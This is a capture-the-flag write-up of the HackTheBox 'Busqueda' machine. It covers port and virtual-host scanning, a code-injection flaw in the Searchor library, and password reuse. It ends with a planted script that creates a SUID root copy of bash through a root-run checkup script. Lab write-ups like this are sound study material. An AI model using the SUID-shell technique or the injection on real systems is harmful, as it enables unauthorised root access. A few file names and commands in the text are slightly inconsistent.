HackTheBox - Busqueda
Release Date | 08 Apr 2023 |
Retire Date | |
Solving Date | 11 Apr 2023 |
Difficulty | Easy |
OS | Linux |
Points | 20 |
Creator |
Reconnaissance
port scanning
export ip=10.10.11.208
nmap -Pn -sC -sV $ip
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-12 21:28 EET
Nmap scan report for 10.10.11.208
Host is up (0.13s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.52 seconds
- Based on the result, the host is running ubuntu, exploring the hosted website it redirect to
searcher.htb
, so let’s add this domain in our/etc/hosts
file
sudo echo "$ip searcher.htb" >> /etc/hosts
searcher.htb
- it’s a simple website powered by python flask and searchor 2.4.0 , the only functionality is searching for something using a selected search engine. pretty simple!
- Let’s start enumerating directories and subdomains.
Directory fuzzing
- Let’s start directory fuzzing while we try to attack this function
export url="http://searcher.htb"
ffuf -u "$url/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/big.txt -c -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://searcher.htb/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
[Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 202ms]
* FUZZ: search
[Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 76ms]
* FUZZ: server-status
:: Progress: [20475/20475] :: Job [1/1] :: 414 req/sec :: Duration: [0:02:10] :: Errors: 0 ::
Virtual Host Enumeration
ffuf -u "http://$ip" -H "Host: FUZZ.searcher.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -c -ic -fw 18
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.208
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.searcher.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response words: 18
________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 333 req/sec :: Duration: [0:00:11] :: Errors: 0 ::
Search Function
- Let’s enumerate further by exploring searchor GitHub repository.
Searchor is an all-in-one PyPi Python Library that simplifies web scraping, obtaining information on an topic, and generating search query URLs. Searchor is an a efficient tool for Python developers, with many web development needs in one, with support of over 100+ Engines and custom engines allowed, making it easy for developers to use for their web programming needs in Python without relying on many third-party dependencies. Furthermore, Searchor has a wide range of support, including command line interface and pip.
- in a simple way, searchor is a searching tasks library the website uses it to search.
- we can see that it’s vulnerable to code injection,
- [VULNERABILITY] Patched a priority vulnerability in the Searchor CLI (check out the patch here), the pull request
- the injection point is the
query
parameter, it’s very recommended to install searchor on our host and try exploiting it before exploiting searchor.htb
Exploitation
Basic PoC
- we will encode the payload because the plus (
+
) sign will be interpreted by burpsuite as URL encoding to the space ( ``)
- as we can see it lists the current directory successfully, let’s get a reverse shell
Initial Access
Post Exploitation
Stabilizing the shell
Host enumeration
ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 14:22 app.py
drwxr-xr-x 8 www-data www-data 4096 Apr 12 21:01 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 14:35 templates
app.py
from flask import Flask, render_template, request, redirect
from searchor import Engine
import subprocess
app = Flask(__name__)
@app.route('/')
def index():
return render_template('index.html', options=Engine.__members__, error='')
@app.route('/search', methods=['POST'])
def search():
try:
engine = request.form.get('engine')
query = request.form.get('query')
auto_redirect = request.form.get('auto_redirect')
if engine in Engine.__members__.keys():
arg_list = ['searchor', 'search', engine, query]
r = subprocess.run(arg_list, capture_output=True)
url = r.stdout.strip().decode()
if auto_redirect is not None:
return redirect(url, code=302)
else:
return url
else:
return render_template('index.html', options=Engine.__members__, error="Invalid engine!")
except Exception as e:
print(e)
return render_template('index.html', options=Engine.__members__, error="Something went wrong!")
if __name__ == '__main__':
app.run(debug=False)
- We found a gitea subdomain that hosting a repository called
Searcher_site
and credentials for cody user - Let’s add the subdomain to our
/etc/hosts/
file and login as cody - Nothing interesting here, just the website we attacked
- let’s Enumerate our home directory
user.txt
- as we can see maybe cody and
svc
is the same person, so let’s try to sudo using cody password, the password is already reused
Privilege Escalation
- we can run
/usr/bin/python3 /opt/scripts/system-checkup.py *
as root
-
We don’t have read or write permissions, let’s run
[system-checkup.py](http://system-checkup.py)
and check what it does -
the script takes an action and two arguments if needed, there are two docker containers running, one for the website and the other for mysql database
Docker
- let’s enumerate the containers using docker-inspect, this is the official documentation
- as we saw before, the users reuse their passwords, so let’s try to login as administrator with MySQL password we found(administrator@gitea.searcher.htb:yui….).
- now, we can read the script.
system-checkup.sh
#!/bin/bash
import subprocess
import sys
actions = ['full-checkup', 'docker-ps','docker-inspect']
def run_command(arg_list):
r = subprocess.run(arg_list, capture_output=True)
if r.stderr:
output = r.stderr.decode()
else:
output = r.stdout.decode()
return output
def process_action(action):
if action == 'docker-inspect':
try:
_format = sys.argv[2]
if len(_format) == 0:
print(f"Format can't be empty")
exit(1)
container = sys.argv[3]
arg_list = ['docker', 'inspect', '--format', _format, container]
print(run_command(arg_list))
except IndexError:
print(f"Usage: {sys.argv[0]} docker-inspect <format> <container_name>")
exit(1)
except Exception as e:
print('Something went wrong')
exit(1)
elif action == 'docker-ps':
try:
arg_list = ['docker', 'ps']
print(run_command(arg_list))
except:
print('Something went wrong')
exit(1)
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
if __name__ == '__main__':
try:
action = sys.argv[1]
if action in actions:
process_action(action)
else:
raise IndexError
except IndexError:
print(f'Usage: {sys.argv[0]} <action> (arg1) (arg2)')
print('')
print(' docker-ps : List running docker containers')
print(' docker-inspect : Inpect a certain docker container')
print(' full-checkup : Run a full system checkup')
print('')
exit(1)
- The script defines a few functions and variables that are used to run different Docker commands and to run a full system checkup.
- The
actions
list contains the different types of commands that can be run:full-checkup
,docker-ps
, anddocker-inspect
. - The
run_command
function takes a list of command-line arguments, runs the command, and returns the output. If there is an error, it prints the error message and exits with an error code. - The
process_action
function takes an action as an argument and runs the appropriate command. Fordocker-inspect
, it expects two additional arguments: the format string and the container name. Forfull-checkup
, it runs a script calledfull-checkup.sh
and prints a message when it’s done.
- The
-
did you notice this, it run
[full-checkup.sh](http://full-checkup.sh)
from the current directory (./
), let’s check that out - it’s very easy, we can create a file called
[full-checkup.sh](http://full-checkup.sh)
in the current working directory and run[system-checkup.py](http://system-checkup.py)
withfull-checkup
action. -
full-check.sh
#!/bin/bash cp /bin/bash /tmp/root_shell && chmod +s /tmp/root_shell echo check out /tmp/root_shell
root.txt
- Happy Hacking 🙂